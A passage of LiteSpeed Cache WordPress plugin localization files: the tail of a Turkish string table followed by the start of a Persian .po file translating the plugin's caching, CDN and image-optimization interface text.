birlikte gönderilecek, oturum açmış kullanıcıya ait şifresiz giriş bağlantısı oluşturun.Sunucumuzun sizin sunucunuzla sorunsuz iletişim kurabildiği ve her şeyin düzgün çalıştığından emin olmak için, istek başına izin verilen görsel sayısı ilk bir kaç istekte sınırlıdır.Başlangıcı eşleştirmek için, öğenin başına %s ekleyin.%s in önbelleğe alınmasını engellemek için buraya girin.Disk alanının dolmasını önlemek için, bu seçenek her şey olağan çalışırken KAPALI tutulmalıdır.CDN ana sunucusunda ki benzer kaynakları randomize etmek için birden fazla hostname tanımlayın.Sepeti test etmek için <a %s>FAQ</a> adresini ziyaret edin.Önbellekleme özelliklerini kullanabilmek için bir LiteSpeed altyapılı web sunucunuz olmalıdır veya QUIC.cloud CDN servisini kullanıyor olmalısınız.AraçlarAraçlarGenel ToplamToplam AzaltmaToplam kullanımBu ay optimize edilen toplam görselGeri İzleme/PingbacksÇöp YorumlarÇöp YazılarGitHub Sürümünü DeneyinAyarlamaTuning AyarlarıKAPATAÇGiriş yapmış kullanıcılar için genele açık önbelleğe almayı AÇ, Admin araç çubuğu ve yorum formunu ESI bloğu olarak sun. Bu iki blog aşağıda etkinleştirilmediği sürece önbelleğe alınmaz.Yönetim paneli editöründe Heartbeat'i kontrol etmek için AÇIK konumuna getirin.Yönetim panelinde Heartbeat'i kontrol etmek için AÇIK konumuna getirin.Ön yüzde heartbeat'i etkinleştirmek için AÇIK konumuna getirin.Otomatik yükseltmeyi açYeni bir sürüm çıktığında, LiteSpeed ​​Cache'in otomatik olarak güncellenmesi için bu seçeneği AÇIK konumuna getirin. KAPALI ise, her zamanki gibi manuel olarak güncelleyin .Düzeltmeler, yeni sürümler, kullanılabilir beta sürümleri ve promosyonlar dahil olmak üzere en son haberleri otomatik olarak göstermek için bu seçeneği AÇIK konuma getirin.Tweet ön izlemesiTweetleSatır içi UCSSUCSS Seçici İzin ListesiUCSS hariç tutulan URI'lerHariç Bırakılacak BağlantılarBu metinleri içeren URI yolları önbelleğe genele açık olarak ALINMAYACAKTIR.URLURL arama%s sırasındaki URL listesi cronu bekliyorOlası CDN çakışması nedeniyle %1$s, ana %2$s etki alanı için Etki Alanı Diğer Adı olarak otomatik olarak eklenemiyor.%1$s ana %2$s etki alanı için Etki Alanı Diğer Adı olarak otomatik olarak eklenemiyor.Benzersiz CSSBilinmeyen hata%s Şimdi GüncelleYükseltBaşarıyla yükseltildi.KullanımBu çerezin olmadığını belirtmek için %2$s içinde %1$s kullanın.Sayfa türü %2$s olan sayfalarda UCSS'yi atlamak için %1$s kullanın.%2$s AÇIK olduğunda uzak görüntü boyutu kontrolünü atlamak için %1$s kullanın.Sayfa türü %2$s olan sayfalar için tek bir UCSS oluşturmak için %1$s kullanın, diğer sayfa türleri hala URL başına.%s API özelliğini kullan.CDN Eşleme'yi kullanAğ yönetici ayarlarını kullanınOptimize edilmiş dosyaları kullanOrijinal dosyaları kullanBirincil site yapılandırmasını kullanYükleme sırasında responsif görsel ön izlemeleri oluşturmak için QUIC.cloud LQIP (Düşük Kaliteli Görüntü Yer Tutucu) oluşturma servisini kullanın.Kritik CSS oluşturmak ve kalan CSS'i de asenkron olarak yüklemek için QUIC.cloud çevrimiçi hizmetini kullanın.Benzersiz CSS oluşturmak için QUIC.cloud çevrimiçi hizmetini kullanın.Google Fontlarını diğer CSS'lere dokunmadan asenkron bir şekilde yüklemek için Web Font Loader kütüphanesini kullanın.Sitenizi tek tıklamayla yapılandırmak için LiteSpeed tarafından tasarlanmış resmi bir Ön Ayar kullanın. Risksiz önbelleğe alma temellerini, aşırı optimizasyonu veya ikisinin arasındaki bir ön ayarı deneyin.Harici nesne önbelleği işlevselliğini kullanın.Önbellek işlemlerini hızlandırmak için keep-alive bağlantılarını kullanın.En son GitHub Dev commitini kullanEn son GitHub Dev/Master commitini kullanEn son GitHub Master commitini kullanEn son WordPress sürümü için olan sürümü kullanınSitenizde orijinal görselleri (optimize edilmemiş) kullanınBunun için %1$s ya da %2$s yapılarını kullanın (Tercihe bağlıdır).Bu bölümü kullanarak eklenti sürümleri arasında geçiş yapın. Bir GitHub commitinin beta testini gerçekleştirmek için aşağıdaki alan commit URL'sini yazın.İlk açılışta görüntülenen ve CLS'e ( Bir Core Web Vitals metriğidir ) neden olan görseller için kullanışlıdır.Kullanıcı AdıDosyanın optimize edilmiş sürümü kullanılıyor. VPIDeğer aralığı%s değişkenleri yapılandırılan renkle değiştirilecektir.%s değişkenleri ilgili görsel özellikleri ile değiştirilecektir.Farklılık ÇerezleriDeğişken GrubuMini Araba için değişir%1$s sürümününün %2$s detaylarını görüntüle.htaccess'i görüntüleyinÖnbellekten Önce Siteyi GörüntüleOptimizasyondan Önce Siteyi GörüntüleGörünüm Alanı GörüntüsüViewport Görsel OluşturmaGörünüm Alanı GörüntüleriViewport Görüntüleri CronLSCWP destek forumunu ziyaret edinSiteyi oturum kapalıyken ziyaret edin.UYARIUYARI: .htaccess oturum açma çerezi ve veritabanı oturum açma çerezi eşleşmiyor.BekliyorTaranmayı bekliyorDiğer LiteSpeed kullanıcılarıyla bağlantı kurmak ister misiniz?Tarayıcı durumunu izleHer şey yolunda! Hiç bir tablo MyISAM motorunu kullanmıyor.Çevrimiçi hizmet deneyiminizi geliştirmek için çok çalışıyoruz. Biz çalışırken servis kullanılamıyor olacak. Verdiğimiz rahatsızlıktan dolayı özür dileriz.WebP dosyası %1$s küçültüldü. (%2$s)WebP %s veri tasarrufu sağladıLiteSpeed'e hoş geldinizGrup nedir?Bir görsel grubu nedir?Bir ziyaretçi bir sayfa bağlantısının üzerine geldiğinde, o sayfayı önceden yükleyin. Bu, o bağlantıya yapılan ziyareti hızlandıracaktır.Önbellek devre dışı bırakılırken bu site için var olan tüm önbellek kayıtları temizlenir.Açık konumdayken herhangi bir eklenti, tema veya WordPress çekirdeği yükseltildiğinde önbellek otomatik olarak temizlenir.HTML küçültürken belirli bir desenle eşleşen yorumları atma.Bu seçenek %s olarak seçilir ise Google Fonts dosyaları senkronize olmadan yüklenecektir.Lazy Load kullandığınızda, bir sayfadaki tüm resimlerin yüklenmesi geciktirilir.Bu ön ayarı kimler kullanmalı?%1$s jokeri desteklenir ( sıfır ya da daha fazla karakteri eşleştirir) Örneğin, %2$s ve %3$s 'i eşleştirmek için, %4$s kullanabilirsiniz.%s joker karakteri destekleniyor.Sayfalar, giriş yapmış kullanıcılara ESI (Edge Side Includes) ile önbellekten sunulabilir.QUIC.cloud CDN etkinken, sunucunuzun header bilgilerini önbellekten görmeye devam edebilirsiniz.WooCommerce AyarlarıWordPress görüntü kalitesi kontrolüWordPress geçerli aralığı %s saniyedir.WpW: Özel Önbellek ve Genel ÖnbellekYıllık arşivSadece etki alanının bir kısmını yazabilirsiniz.3. parti değişken çerezleri burada listeleyebilirsiniz.Orijinal (optimize edilmemiş) veya optimize edilmiş görselleri kullanma seçenekleri arasında hızlıca geçiş yapabilirsiniz. Bu web sitenizdeki normal ve varsa webp sürümündeki tüm görselleri etkileyecektir.Bir seferde en fazla %s görüntü isteyebilirsiniz.Kısa kodları ESI bloklarına dönüştürebilirsiniz.htaccess dosya yolunu belirtmek için %2$s içinde %1$s kodunu kullanabilirsiniz.Bu DNS bölgesini kaldıramazsınız, çünkü hala kullanımda. Lütfen alan adının ad sunucularını güncelleyin, ardından bu bölgeyi tekrar silmeyi deneyin, aksi takdirde siteniz erişilemez hale gelecektir.Çekilmeyi bekleyen görselleriniz var. Otomatik çekimin tamamlanmasını bekleyin veya şimdi elle çekin.Çok fazla talep edilen görseliniz var, lütfen birkaç dakika sonra tekrar deneyin.Az önce QUIC.cloud'dan bir promosyonun kilidini açtınız!En iyi sonucu almak için %s açmanız ve WebP oluşturmayı tamamen bitirmeniz gerekir.En iyi sonucu almak için %s açmanız gerekir.Yedekler silindikten sonra optimizasyonu geri alamazsınız!%s ana bilgisayar adınız veya IP adresiniz.%s API'lerine erişim için API anahtarınız / tokeniniz.E-posta Adresiniz %s.IP'nizBaşvurunuz onay bekliyor.Daha önceki bir politika ihlali nedeniyle alan adınızın hizmetlerimizi kullanması yasaklanmıştır.Alan adı anahtarınız kötüye kullanımı engellemek için geçici olarak engellendi. Daha fazla bilgi için QUIC.cloud destek ile iletişime geçebilirsiniz.Sunucu IP'nizSıfır, veyakategorilerçerezlerhttps://www.litespeedtech.comhttps://www.litespeedtech.com/products/cache-plugins/wordpress-accelerationşu andapikselLiteSpeed ekibine hata ayıklamada yardımcı olmak için burada daha fazla bilgi verin.şimdiçalışıyorsaniyeetiketlerdışarıya açılan ayrı bir IP kümeniz veya sunucunuzda yapılandırılmış birden çok IP varsa otomatik olarak algılanan IP doğru olmayabilir.bilinmeyentarayıcı kimliklerilitespeed-wp-plugin/7.5.0.1/translations/litespeed-cache-fa_IR.po000064400000774633151031165260020352 0ustar00# Translation of Plugins - LiteSpeed Cache - Stable (latest release) in Persian
# This file is distributed under the same license as the Plugins - LiteSpeed Cache - Stable (latest release) package.
msgid ""
msgstr ""
"PO-Revision-Date: 2025-08-31 05:30:28+0000\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=1; plural=0;\n"
"X-Generator: GlotPress/4.0.1\n"
"Language: fa\n"
"Project-Id-Version: Plugins - LiteSpeed Cache - Stable (latest release)\n"

#: tpl/toolbox/settings-debug.tpl.php:48
msgid "LiteSpeed Cache is temporarily disabled until: %s."
msgstr "کش لایت اسپید به طور موقت تا %s غیرفعال است."

#: tpl/toolbox/settings-debug.tpl.php:37
msgid "Disable All Features for 24 Hours"
msgstr "غیرفعال کردن همه ویژگی‌ها به مدت 24 ساعت"

#: tpl/toolbox/beta_test.tpl.php:42
msgid "LiteSpeed Cache is disabled. This functionality will not work."
msgstr "کش لایت‌اسپید غیرفعال است. این قابلیت کار نخواهد کرد."

#: tpl/page_optm/settings_media.tpl.php:296
msgid "Filter %s available to change threshold."
msgstr "فیلتر %s برای تغییر آستانه در دسترس است."

#: tpl/page_optm/settings_media.tpl.php:290
msgid "Scaled size threshold"
msgstr "آستانه اندازه مقیاس‌بندی شده"

#: tpl/page_optm/settings_media.tpl.php:289
msgid "Automatically replace large images with scaled versions."
msgstr "جایگزین کردن خودکار تصاویر بزرگ با نسخه‌های کوچک شده."

#: src/lang.cls.php:204
msgid "Auto Rescale Original Images"
msgstr "تغییر مقیاس خودکار تصاویر اصلی"

#: src/lang.cls.php:143
msgid "UCSS Inline Excluded Files"
msgstr "فایل‌های درون‌خطی مستثنی‌شده UCSS"

#: src/error.cls.php:143
msgid "The QUIC.cloud connection is not correct. Please try to sync your QUIC.cloud connection again."
msgstr "اتصال QUIC.cloud صحیح نیست. لطفاً دوباره سعی کنید اتصال QUIC.cloud خود را همگام‌سازی کنید."

#: src/error.cls.php:120
msgid "Not enough parameters. Please check if the QUIC.cloud connection is set correctly"
msgstr "پارامترها کافی نیست. لطفاً بررسی کنید که آیا اتصال QUIC.cloud به درستی تنظیم شده است"

#: src/admin-settings.cls.php:40 src/admin-settings.cls.php:313
msgid "No fields"
msgstr "فیلدی وجود ندارد"

#: src/admin-display.cls.php:1313
msgid "Value from filter applied"
msgstr "مقدار از فیلتر اعمال شده"

#: src/admin-display.cls.php:1287
msgid "This value is overwritten by the filter."
msgstr "این مقدار توسط فیلتر بازنویسی می‌شود."

#: src/admin-display.cls.php:1283
msgid "This value is overwritten by the %s variable."
msgstr "این مقدار توسط متغیر %s بازنویسی می‌شود."

#: tpl/dash/dashboard.tpl.php:425 tpl/dash/dashboard.tpl.php:843
msgid "QUIC.cloud CDN"
msgstr "QUIC.cloud CDN"

#: tpl/page_optm/settings_tuning_css.tpl.php:38
msgid "Predefined list will also be combined with the above settings"
msgstr "لیست از پیش تعریف شده نیز با تنظیمات فوق ترکیب خواهد شد"

#: tpl/page_optm/settings_tuning_css.tpl.php:17
msgid "Tuning CSS Settings"
msgstr "بهبود تنظیمات CSS"

#: tpl/page_optm/settings_tuning.tpl.php:71
#: tpl/page_optm/settings_tuning.tpl.php:92
msgid "Predefined list will also be combined with the above settings."
msgstr "لیست از پیش تعریف شده نیز با تنظیمات فوق ترکیب خواهد شد."

#: tpl/page_optm/settings_css.tpl.php:118
#: tpl/page_optm/settings_css.tpl.php:255
#: tpl/page_optm/settings_media.tpl.php:201
#: tpl/page_optm/settings_vpi.tpl.php:66
msgid "Clear"
msgstr "پاکسازی"

#: tpl/inc/show_error_cookie.php:21
msgid "If not, please verify the setting in the %sAdvanced tab%s."
msgstr "اگر اینطور نیست، لطفا تنظیمات را در %sتب پیشرفته%s بررسی کنید."

#: tpl/inc/modal.deactivation.php:77
msgid "Close popup"
msgstr "بستن پاپ آپ"

#: tpl/inc/modal.deactivation.php:76
msgid "Deactivate plugin"
msgstr "غیرفعال کردن افزونه"

#: tpl/inc/modal.deactivation.php:68
msgid "If you have used Image Optimization, please %sDestroy All Optimization Data%s first. NOTE: this does not remove your optimized images."
msgstr "اگر از بهینه‌سازی تصویر استفاده کرده‌اید، لطفاً ابتدا %sپاکسازی دیتای همه بهینه‌سازی‌ها%s را انجام بدهید. توجه: این کار تصاویر بهینه‌سازی شده شما را حذف نمی‌کند."

#: tpl/inc/modal.deactivation.php:60
msgid "On uninstall, all plugin settings will be deleted."
msgstr "با حذف نصب، تمام تنظیمات افزونه حذف خواهد شد."

#: tpl/inc/modal.deactivation.php:47
msgid "Why are you deactivating the plugin?"
msgstr "چرا افزونه رو غیرفعال می‌کنی؟"

#: tpl/inc/modal.deactivation.php:38
msgid "Other"
msgstr "سایر"

#: tpl/inc/modal.deactivation.php:33
msgid "Plugin is too complicated"
msgstr "افزونه خیلی پیچیده است"

#: tpl/inc/modal.deactivation.php:28
msgid "Site performance is worse"
msgstr "عملکرد سایت بدتر است"

#: tpl/inc/modal.deactivation.php:22
msgid "The deactivation is temporary"
msgstr "غیرفعالسازی موقتی است"

#: tpl/inc/modal.deactivation.php:16
msgid "Deactivate LiteSpeed Cache"
msgstr "غیرفعال سازی کش لایت اسپید"

#: tpl/general/online.tpl.php:138
msgid "CDN - Disabled"
msgstr "شبکه توزیع محتوا (CDN) - غیرفعال"

#: tpl/general/online.tpl.php:136
msgid "CDN - Enabled"
msgstr "شبکه توزیع محتوا (CDN) - فعال"

#: tpl/general/online.tpl.php:45
msgid "Connected Date:"
msgstr "تاریخ اتصال:"

#: tpl/general/online.tpl.php:43
msgid "Node:"
msgstr "گره:"

#: tpl/general/online.tpl.php:41
msgid "Service:"
msgstr "سرویس:"

#: tpl/db_optm/manage.tpl.php:180
msgid "Autoload top list"
msgstr "لیست برتر بارگذاری خودکار"

#: tpl/db_optm/manage.tpl.php:176
msgid "Autoload entries"
msgstr "ورودی‌های بارگذاری خودکار"

#: tpl/db_optm/manage.tpl.php:175
msgid "Autoload size"
msgstr "اندازه بارگذاری خودکار"

#: tpl/dash/network_dash.tpl.php:109
msgid "This Month Usage: %s"
msgstr "استفاده این ماه: %s"

#: tpl/dash/network_dash.tpl.php:28
msgid "Usage Statistics: %s"
msgstr "آمار استفاده: %s"

#: tpl/dash/dashboard.tpl.php:869
msgid "more"
msgstr "بیشتر"

#: tpl/dash/dashboard.tpl.php:868
msgid "Globally fast TTFB, easy setup, and %s!"
msgstr "TTFB بسیار سریع جهانی، راه‌اندازی آسان و %s!"

#: tpl/dash/dashboard.tpl.php:656 tpl/dash/dashboard.tpl.php:700
#: tpl/dash/dashboard.tpl.php:744 tpl/dash/dashboard.tpl.php:788
msgid "Last requested: %s"
msgstr "آخرین درخواست: %s"

#: tpl/dash/dashboard.tpl.php:630 tpl/dash/dashboard.tpl.php:674
#: tpl/dash/dashboard.tpl.php:718 tpl/dash/dashboard.tpl.php:762
msgid "Last generated: %s"
msgstr "آخرین تولید: %s"

#: tpl/dash/dashboard.tpl.php:437 tpl/dash/dashboard.tpl.php:502
msgid "Requested: %s ago"
msgstr "درخواست شده: %s پیش"

#: tpl/dash/dashboard.tpl.php:423
msgid "LiteSpeed Web ADC"
msgstr "LiteSpeed وب ADC"

#: tpl/dash/dashboard.tpl.php:421
msgid "OpenLiteSpeed Web Server"
msgstr "وب سرور OpenLiteSpeed"

#: tpl/dash/dashboard.tpl.php:419
msgid "LiteSpeed Web Server"
msgstr "وب سرور LiteSpeed"

#: tpl/dash/dashboard.tpl.php:271
msgid "PAYG used this month: %s. PAYG balance and usage not included in above quota calculation."
msgstr "PAYG استفاده‌شده در این ماه: %s. موجودی و استفاده PAYG در محاسبه سهمیه فوق لحاظ نشده است."

#: tpl/dash/dashboard.tpl.php:112 tpl/dash/dashboard.tpl.php:831
msgid "Last crawled:"
msgstr "آخرین خزش:"

#: tpl/dash/dashboard.tpl.php:111 tpl/dash/dashboard.tpl.php:830
msgid "%1$s %2$d item(s)"
msgstr "%1$s %2$d مورد"

#: tpl/crawler/summary.tpl.php:288
msgid "Start watching..."
msgstr "شروع نظارت..."

#: tpl/crawler/summary.tpl.php:254
msgid "Crawlers cannot run concurrently. If both the cron and a manual run start at similar times, the first to be started will take precedence."
msgstr "خزنده‌ها نمی‌توانند هم‌زمان اجرا شوند. اگر اجرای کرون و دستی در زمان‌های مشابه شروع شوند، اجرا شده اول برتری خواهد داشت."

#: tpl/crawler/summary.tpl.php:230
msgid "Position: "
msgstr "موقعیت: "

#: tpl/crawler/summary.tpl.php:133
msgid "%d item(s)"
msgstr "%d مورد"

#: tpl/crawler/summary.tpl.php:130
msgid "Last crawled"
msgstr "آخرین خزش"

#: tpl/cdn/qc.tpl.php:73
msgid "Serve your visitors fast"
msgstr "سرویس‌دهی سریع به بازدیدکنندگان شما"

#: tpl/cdn/other.tpl.php:104
msgid "This will affect all tags containing attributes: %s."
msgstr "این بر تمام تگ‌های شامل ویژگی‌های %s تأثیر خواهد گذاشت."

#: tpl/cdn/cf.tpl.php:152
msgid "%1$sLearn More%2$s"
msgstr "%1$sبیشتر بدانید%2$s"

#: tpl/cdn/cf.tpl.php:39
msgid "Get it from %s."
msgstr "دریافت از %s."

#: src/purge.cls.php:419
msgid "Reset the OPcache failed."
msgstr "بازنشانی OPcache انجام نشد."

#: src/purge.cls.php:407
msgid "OPcache is restricted by %s setting."
msgstr "OPcache توسط تنظیمات %s محدود شده است."

#: src/purge.cls.php:396
msgid "OPcache is not enabled."
msgstr "OPcache فعال نشده است."

#: src/gui.cls.php:681
msgid "Enable All Features"
msgstr "فعال‌سازی تمام ویژگی‌ها"

#: tpl/toolbox/purge.tpl.php:215
msgid "e.g. Use %1$s or %2$s."
msgstr "مثلاً استفاده از %1$s یا %2$s."

#: tpl/toolbox/log_viewer.tpl.php:64 tpl/toolbox/report.tpl.php:62
msgid "Click to copy"
msgstr "برای کپی کردن کلیک کنید"

#: tpl/inc/admin_footer.php:17
msgid "Rate %1$s on %2$s"
msgstr "امتیازدهی به %1$s در %2$s"

#: tpl/cdn/cf.tpl.php:74
msgid "Clear %s cache when \"Purge All\" is run."
msgstr "پاکسازی کش %s هنگام اجرای «پاکسازی همه»."

#: tpl/cache/settings_inc.login_cookie.tpl.php:102
msgid "SYNTAX: alphanumeric and \"_\". No spaces and case sensitive."
msgstr "نحو: حروف و اعداد و \"_\". بدون فاصله و حساس به حروف بزرگ و کوچک."

#: tpl/cache/settings_inc.login_cookie.tpl.php:26
msgid "SYNTAX: alphanumeric and \"_\". No spaces and case sensitive. MUST BE UNIQUE FROM OTHER WEB APPLICATIONS."
msgstr "نحو: حروف و اعداد و \"_\". بدون فاصله و حساس به حروف بزرگ و کوچک. باید از سایر برنامه‌های وب یکتا باشد."

#: tpl/banner/score.php:122
msgid "Submit a ticket"
msgstr "ارسال تیکت"

#: src/lang.cls.php:247
msgid "Clear Cloudflare cache"
msgstr "پاک سازی کش Cloudflare"

#: src/cloud.cls.php:170 src/cloud.cls.php:250
msgid "QUIC.cloud's access to your WP REST API seems to be blocked."
msgstr "دسترسی QUIC.cloud به REST API وردپرس شما به نظر می‌رسد مسدود شده است."

#: tpl/toolbox/log_viewer.tpl.php:65
msgid "Copy Log"
msgstr "کپی لاگ"

#: tpl/page_optm/settings_tuning_css.tpl.php:149
msgid "Selectors must exist in the CSS. Parent classes in the HTML will not work."
msgstr "سلکتورها باید در CSS موجود باشند. کلاس‌های والد در HTML کار نخواهند کرد."

#: tpl/page_optm/settings_tuning_css.tpl.php:142
msgid "List the CSS selectors whose styles should always be included in CCSS."
msgstr "فهرست سلکتورهای CSS که استایل‌هایشان باید همیشه در CCSS گنجانده شود."

#: tpl/page_optm/settings_tuning_css.tpl.php:67
msgid "List the CSS selectors whose styles should always be included in UCSS."
msgstr "فهرست سلکتورهای CSS که استایل‌هایشان باید همیشه در UCSS گنجانده شود."

#: tpl/img_optm/summary.tpl.php:77 tpl/page_optm/settings_css.tpl.php:156
#: tpl/page_optm/settings_css.tpl.php:293
#: tpl/page_optm/settings_vpi.tpl.php:101
msgid "Available after %d second(s)"
msgstr "دردسترس پس از %d ثانیه"

#: tpl/dash/dashboard.tpl.php:346
msgid "Enable QUIC.cloud Services"
msgstr "فعال‌سازی خدمات QUIC.cloud"

#: tpl/dash/dashboard.tpl.php:193
msgid "The features below are provided by %s"
msgstr "ویژگی‌های زیر توسط %s ارائه می‌شوند"

#: tpl/dash/dashboard.tpl.php:162
msgid "Do not show this again"
msgstr "دیگر این را نمایش نده"

#: tpl/dash/dashboard.tpl.php:153
msgid "Free monthly quota available. Can also be used anonymously (no email required)."
msgstr "سهمیه ماهانه رایگان موجود است. همچنین می‌توان به صورت ناشناس استفاده کرد (نیازی به ایمیل ندارد)."

#: tpl/cdn/cf.tpl.php:17
msgid "Cloudflare Settings"
msgstr "تنظیمات کلودفلر"

#: src/tool.cls.php:44 src/tool.cls.php:55
msgid "Failed to detect IP"
msgstr "شناسایی IP ناموفق بود"

#: src/lang.cls.php:170
msgid "CCSS Selector Allowlist"
msgstr "فهرست مجاز سلکتورهای CCSS"

#: tpl/toolbox/settings-debug.tpl.php:82
msgid "Outputs to a series of files in the %s directory."
msgstr "خروجی‌ها به مجموعه‌ای از فایل‌ها در دایرکتوری %s می‌روند"

#: tpl/toolbox/report.tpl.php:87
msgid "Attach PHP info to report. Check this box to insert relevant data from %s."
msgstr "اطلاعات PHP را به گزارش پیوست کنید. این کادر را علامت بزنید تا داده‌های مربوطه از %s وارد شود"

#: tpl/toolbox/report.tpl.php:63
msgid "Last Report Date"
msgstr "آخرین تاریخ گزارش"

#: tpl/toolbox/report.tpl.php:62
msgid "Last Report Number"
msgstr "آخرین شماره گزارش"

#: tpl/toolbox/report.tpl.php:40
msgid "Regenerate and Send a New Report"
msgstr "تولید مجدد و ارسال یک گزارش جدید"

#: tpl/img_optm/summary.tpl.php:372
msgid "This will reset the %1$s. If you changed WebP/AVIF settings and want to generate %2$s for the previously optimized images, use this action."
msgstr "این %1$s را بازنشانی خواهد کرد. اگر تنظیمات WebP/AVIF را تغییر داده‌اید و می‌خواهید %2$s را برای تصاویر بهینه‌سازی شده قبلی تولید کنید، از این اقدام استفاده کنید."

#: tpl/img_optm/settings.media_webp.tpl.php:34 tpl/img_optm/summary.tpl.php:368
msgid "Soft Reset Optimization Counter"
msgstr "شمارنده بهینه‌سازی بازنشانی نرم"

#: tpl/img_optm/settings.media_webp.tpl.php:34
msgid "When switching formats, please %1$s or %2$s to apply this new choice to previously optimized images."
msgstr "هنگام تغییر فرمت‌ها، لطفاً %1$s یا %2$s را برای اعمال این انتخاب جدید بر روی تصاویر بهینه‌سازی شده قبلی انجام دهید."

#: tpl/img_optm/settings.media_webp.tpl.php:31
msgid "%1$s is a %2$s paid feature."
msgstr "%1$s یک ویژگی پرداختی %2$s است."

#: tpl/general/online.tpl.php:160
msgid "Remove QUIC.cloud integration from this site. Note: QUIC.cloud data will be preserved so you can re-enable services at any time. If you want to fully remove your site from QUIC.cloud, delete the domain through the QUIC.cloud Dashboard first."
msgstr "ادغام QUIC.cloud را از این سایت حذف کنید. توجه: داده‌های QUIC.cloud حفظ خواهد شد تا بتوانید هر زمان که خواستید خدمات را دوباره فعال کنید. اگر می‌خواهید سایت خود را به طور کامل از QUIC.cloud حذف کنید، ابتدا دامنه را از طریق داشبورد QUIC.cloud حذف کنید"

#: tpl/general/online.tpl.php:159
msgid "Disconnect from QUIC.cloud"
msgstr "از QUIC.cloud قطع ارتباط کنید"

#: tpl/general/online.tpl.php:159
msgid "Are you sure you want to disconnect from QUIC.cloud? This will not remove any data from the QUIC.cloud dashboard."
msgstr "آیا مطمئن هستید که می‌خواهید از QUIC.cloud قطع ارتباط کنید؟ این کار هیچ داده‌ای را از داشبورد QUIC.cloud حذف نخواهد کرد"

#: tpl/general/online.tpl.php:150
msgid "CDN - not available for anonymous users"
msgstr "برای کاربران ناشناس در دسترس نیست"

#: tpl/general/online.tpl.php:144
msgid "Your site is connected and using QUIC.cloud Online Services as an <strong>anonymous user</strong>. The CDN function and certain features of optimization services are not available for anonymous users. Link to QUIC.cloud to use the CDN and all available Online Services features."
msgstr "سایت شما متصل است و از خدمات آنلاین QUIC.cloud به عنوان <strong>کاربر ناشناس</strong> استفاده می‌کند. عملکرد CDN و برخی ویژگی‌های خدمات بهینه‌سازی برای کاربران ناشناس در دسترس نیست. به QUIC.cloud لینک دهید تا از CDN و تمام ویژگی‌های خدمات آنلاین موجود استفاده کنید"

#: tpl/general/online.tpl.php:143
msgid "QUIC.cloud Integration Enabled with limitations"
msgstr "ادغام QUIC.cloud با محدودیت‌ها فعال است"

#: tpl/general/online.tpl.php:126
msgid "Your site is connected and ready to use QUIC.cloud Online Services."
msgstr "سایت شما متصل است و آماده استفاده از خدمات آنلاین QUIC.cloud است"

#: tpl/general/online.tpl.php:125
msgid "QUIC.cloud Integration Enabled"
msgstr "ادغام QUIC.cloud فعال است"

#: tpl/general/online.tpl.php:114
msgid "In order to use most QUIC.cloud services, you need quota. QUIC.cloud gives you free quota every month, but if you need more, you can purchase it."
msgstr "برای استفاده از بیشتر خدمات QUIC.cloud، به سهمیه نیاز دارید. QUIC.cloud هر ماه سهمیه رایگان به شما می‌دهد، اما اگر به سهمیه بیشتری نیاز دارید، می‌توانید آن را خریداری کنید."

#: tpl/general/online.tpl.php:105
msgid "Offers optional <strong>built-in DNS service</strong> to simplify CDN onboarding."
msgstr "خدمات <strong>DNS داخلی اختیاری</strong> را برای ساده‌سازی ورود به CDN ارائه می‌دهد."

#: tpl/general/online.tpl.php:104
msgid "Provides <strong>security at the CDN level</strong>, protecting your server from attack."
msgstr "<strong>امنیت در سطح CDN</strong> را فراهم می‌کند و سرور شما را از حمله محافظت می‌کند."

#: tpl/general/online.tpl.php:103
msgid "Delivers global coverage with a growing <strong>network of 80+ PoPs</strong>."
msgstr "پوشش جهانی را با یک <strong>شبکه در حال رشد از 80+ PoP</strong> ارائه می‌دهد."

#: tpl/general/online.tpl.php:102
msgid "Caches your entire site, including dynamic content and <strong>ESI blocks</strong>."
msgstr "تمام سایت شما را کش می‌کند، از جمله محتوای پویا و <strong>بلوک‌های ESI</strong>."

#: tpl/general/online.tpl.php:98
msgid "Content Delivery Network"
msgstr "شبکه تحویل محتوا"

#: tpl/general/online.tpl.php:89
msgid "<strong>Viewport Images (VPI)</strong> provides a well-polished fully-loaded view above the fold."
msgstr "<strong>تصاویر نمایی (VPI)</strong> نمایی کاملاً بارگذاری شده و با کیفیت بالا در بالای صفحه ارائه می‌دهد."

#: tpl/general/online.tpl.php:88
msgid "<strong>Low Quality Image Placeholder (LQIP)</strong> gives your imagery a more pleasing look as it lazy loads."
msgstr "<strong>جایگزین تصویر با کیفیت پایین (LQIP)</strong> به تصاویر شما ظاهری دلپذیرتر می‌دهد در حالی که به‌صورت تنبل بارگذاری می‌شود."

#: tpl/general/online.tpl.php:87
msgid "<strong>Unique CSS (UCSS)</strong> removes unused style definitions for a speedier page load overall."
msgstr "<strong>CSS منحصر به فرد (UCSS)</strong> تعاریف استایل‌های استفاده نشده را برای بارگذاری سریع‌تر صفحه به‌طور کلی حذف می‌کند."

#: tpl/general/online.tpl.php:86
msgid "<strong>Critical CSS (CCSS)</strong> loads visible above-the-fold content faster and with full styling."
msgstr "<strong>CSS بحرانی (CCSS)</strong> محتوای قابل مشاهده در بالای صفحه را سریع‌تر و با استایل کامل بارگذاری می‌کند."

#: tpl/general/online.tpl.php:84
msgid "QUIC.cloud's Page Optimization services address CSS bloat, and improve the user experience during page load, which can lead to improved page speed scores."
msgstr "خدمات بهینه‌سازی صفحه QUIC.cloud به مشکلات CSS می‌پردازد و تجربه کاربری را در حین بارگذاری صفحه بهبود می‌بخشد که می‌تواند منجر به بهبود نمرات سرعت صفحه شود."

#: tpl/general/online.tpl.php:81
msgid "Processing for PNG, JPG, and WebP image formats is free. AVIF is available for a fee."
msgstr "پردازش فرمت‌های تصویری PNG، JPG و WebP رایگان است. AVIF با پرداخت هزینه در دسترس است"

#: tpl/general/online.tpl.php:79
msgid "Optionally creates next-generation WebP or AVIF image files."
msgstr "به‌صورت اختیاری فایل‌های تصویری WebP یا AVIF نسل بعدی را ایجاد می‌کند"

#: tpl/general/online.tpl.php:78
msgid "Processes your uploaded PNG and JPG images to produce smaller versions that don't sacrifice quality."
msgstr "تصاویر PNG و JPG آپلود شده شما را پردازش می‌کند تا نسخه‌های کوچک‌تری تولید کند که کیفیت را فدای خود نمی‌کند"

#: tpl/general/online.tpl.php:76
msgid "QUIC.cloud's Image Optimization service does the following:"
msgstr "سرویس بهینه‌سازی تصویر QUIC.cloud کارهای زیر را انجام می‌دهد:"

#: tpl/general/online.tpl.php:72
msgid "<strong>Page Optimization</strong> streamlines page styles and visual elements for faster loading."
